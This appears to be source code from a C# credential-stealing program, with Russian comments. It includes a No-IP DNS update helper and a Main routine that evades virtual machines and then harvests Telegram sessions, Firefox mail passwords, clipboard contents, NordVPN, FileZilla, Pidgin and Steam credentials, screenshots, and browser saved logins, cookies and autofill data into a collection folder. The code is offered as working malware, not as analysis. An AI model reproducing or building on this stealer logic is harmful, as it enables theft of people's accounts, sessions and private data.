internal static async void DynamicUpdateAsync(DynDns ddns) { try { string noIpUri = string.Format("http://dynupdate.no-ip.com/nic/update?hostname={0}&myip={1}", ddns.Hostname, CheckIpAsync().Result); using (var client = new HttpClient(new HttpClientHandler { Credentials = new NetworkCredential(ddns.Username, ddns.Password) })) using (var response = await client.GetAsync(noIpUri)) using (var content = response.Content) await content.ReadAsStringAsync(); } catch (Exception e) { Logger.Instance.Append(string.Format("obj [ DynDns.DynamicUpdate <Exception> ] Exception Message: [ {0} ]", e.Message)); } }
public static void Main() { // Проверяем на запуск виртуальных машин ( Virtual Machine Check ) if (!AntiVM.GetCheckVMBot() && !RunCheck.InstanceCheck()) { Environment.Exit(0); } // Создаём папку куда будем всё собирать HomeDirectory.Inizialize(); // Делаем проверку что папка создалась if (CombineEx.ExistsDir(GlobalPath.HomePath)) { // Собираем данные .... Telega.GetSession(GlobalPath.Tdata, GlobalPath.TelegaHome, "*.*"); MailFoxPassword.Inizialize(); BuffBoard.Inizialize(); NordVPN.Inizialize_Grabber(); DynDns.Inizialize_Grabber(); FileZilla.Inizialize_Grabber(); Pidgin.Inizialize_Grabber(); GetSteamFiles.Inizialize("*.", "*.vdf", "config", "Steam"); InfoGrabber.Inizialize(); ScreenShot.Inizialize(GlobalPath.Screen); // Сбор и вывод логинов и паролей Searcher.CopyInSafeDir(GlobalPath.LoginsPath, "Login Data"); GetPasswords.Inizialize_Multi_file(); // Сбор и вывод куки данных Searcher.CopyInSafeDir(GlobalPath.CookiesPath, "Cookies"); GetCookies.Inizialize(); // Сбор и вывод Автозаполнение форм Searcher.CopyInSafeDir(GlobalPath.WebDataPath, "Web Data"); GetAutoFill.Inizialize_AutoFill(); } }